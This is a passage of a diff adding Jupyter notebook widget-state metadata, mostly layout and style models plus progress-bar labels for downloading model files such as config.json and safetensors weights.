"", + "children": [ + "IPY_MODEL_90398133563a48288ebf11cf0e0e242d", + "IPY_MODEL_b6c5549bd95644ad9e553c2e59199f04", + "IPY_MODEL_48ec35653f99446db9cefabe146bb2d8" + ], + "layout": "IPY_MODEL_84e8bc8164b948d8897a8637c226ef1c" + } + }, + "18a72653fc284d29be02e4d2a477ecdd": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "193fa11998404439b90913f5f5b4619e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8b7c3bcf27644ac09871f733662c4d8b", + "placeholder": "​", + "style": "IPY_MODEL_42cabc32ffc34ddd924fde45571ada38", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "194f16cb7fbb42a78d9237e4e6654b58": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "198e8a1603fc40218d805d46da1cc603": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_54746d0ef2e7453faddcc3b6066def51", + "placeholder": "​", + "style": "IPY_MODEL_ff535db7c20f4719820b0b483a3a41ff", + "value": " 328M/328M [00:01<00:00, 248MB/s]" + } + }, + "199a4465ee984eff971c999393c4e497": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1bf842268bf64cadbf2bda6da0d4a690": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1c65960b291c4d92bced5bca619e8256": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "1ce482eed7dd4a62b5c97b7fae38f392": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_f02818f8f3d54f72961c51e8fe526dc2", + "placeholder": "​", + "style": "IPY_MODEL_8d2da5062f414a7f8c98facdd7d2bad0", + "value": "100%" + } + }, + "1cf1b7e84b744edf907f94aa3d1983bc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "1d4352761751419282c93eb85c0954c0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b84453116ba14690b8ae8a8e723f8510", + "IPY_MODEL_6e14135b00e447c18a0a693d47f5c92b", + "IPY_MODEL_9a540d6ed00a424da320fd7a12c31ac5" + ], + "layout": "IPY_MODEL_13f07d79c96146aaa1d7731526aaec29" + } + }, + "1daa130f38a84c6d9a4149536b21927e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "20285260958f4620b906e7a21f44c555": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7e03365b6d25414eb845c51aa30e3d2c", + "placeholder": "​", + "style": "IPY_MODEL_199a4465ee984eff971c999393c4e497", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "206b5b9596ff43b68126735ad6b31929": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e503940faf1e47bb911a62c6e5f33fa0", + "placeholder": "​", + "style": "IPY_MODEL_03800bb9bc894d2592b3d01036769944", + "value": " 617/617 [00:00<00:00, 4.55kB/s]" + } + }, + "20f315f7aae840d19ee8a068c68ff63c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_56cc25e58ea3445f9135817143224d2c", + "placeholder": "​", + "style": "IPY_MODEL_6c6f19d716d2410b813e32f3b051619a", + "value": " 372/372 [00:00<00:00, 20.7kB/s]" + } + }, + "2112261a320b4b9297aa3edc85fa2316": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "21549aef7c6f4c64b8eb676c6dd105e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_94cc8073f13f45b085e1f23d3d4bbbc9", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_cd502f2ef8814082979d147f08177ff6", + "value": 20 + } + }, + "22235d8e342a47059270c8732b889d68": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_65de6855b9944b829c4aa77bce39009f", + "placeholder": "​", + "style": "IPY_MODEL_44223dcee3694e168e866af5f69aaad4", + "value": " 806/806 [00:00<00:00, 7.82kB/s]" + } + }, + "229a1efdf3df4fe9aac07562774b084b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "230461cc201f4535a9f9bcf7a3ae7669": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b87077da3f824478ac88369582d77e8e", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_6f9f95e2d503403f83be05364b4199cd", + "value": 20 + } + }, + "233120cc0399483ea17284432feb16d3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "23460450a39c44e488bce836dac8b997": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0f796401fadb4649a30effd4c66e058f", + "placeholder": "​", + "style": "IPY_MODEL_33ef3f5248c14c4f8dd2d4a7bf0038a9", + "value": " 1.45G/1.45G [00:09<00:00, 116MB/s]" + } + }, + "23a9e406e89041f8ab9a15eae4f9c61b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "24030dedd2f24e2cbfa3833249d09810": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "25d01861ca0c45d3a5f57932d9754834": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "25d1091281ad407c833a36c7e421e1e2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "261aabd2415d43809b669b49f3899504": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "261e963568fc4a24af694276311c3b18": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "27d1ad377e6c45d7b4b1c49786438015": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_475c331703bb43adb142f6c9cc41a3bf", + "IPY_MODEL_10be4b9595c84f36aeab9593e63440e6", + "IPY_MODEL_645ebe129fd544a4b9383dfc1414cf0a" + ], + "layout": "IPY_MODEL_51605e182e344a94a99c50fcaaef17b1" + } + }, + "27f8dc0ef76448be90b004529fa562cf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0120420c938f4e588ac496f37bcc42eb", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_89a159fc68ef4972a0368c72306cd8c4", + "value": 20 + } + }, + "282f7b2aeec54a81b94da85c85c7cb75": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2898c9af6aea4c79a4f9e89e24275083": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "28baa1ec6f3c46309c04f2c8462b1798": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "29e96ee99a714e2c86a0d68be1a31055": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2a8c5504fb034f608567f8d706389d79": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2a8de4ddaf4747ceb0a153851cd765ca": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2aeb8135603c46c1aa80e2c3580b897f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2b5e8dcb60ee4f65af5505ffa7ea3ae2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_940a28141ae14329831b67e91ff1091a", + "placeholder": "​", + "style": "IPY_MODEL_f1f865efa3a6448ea9c930a1f08c50bf", + "value": " 342/342 [00:00<00:00, 2.00kB/s]" + } + }, + "2b92efb0492b4af6b50e2d5754212b5c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "2bc90ab8db7b4f979ff0cb5eb01284a6": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2c260ce7a89840e3857942d9294f9321": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2cd604429546460d8e79a7ac4980d4cd", + "placeholder": "​", + "style": "IPY_MODEL_1cf1b7e84b744edf907f94aa3d1983bc", + "value": "Downloading (…)lve/main/config.json: 100%" + } + }, + "2c38cd148fe74a5897c3319be42b7d7e": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "2caabb6f82ef46ecbda6c0baf215d72a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": 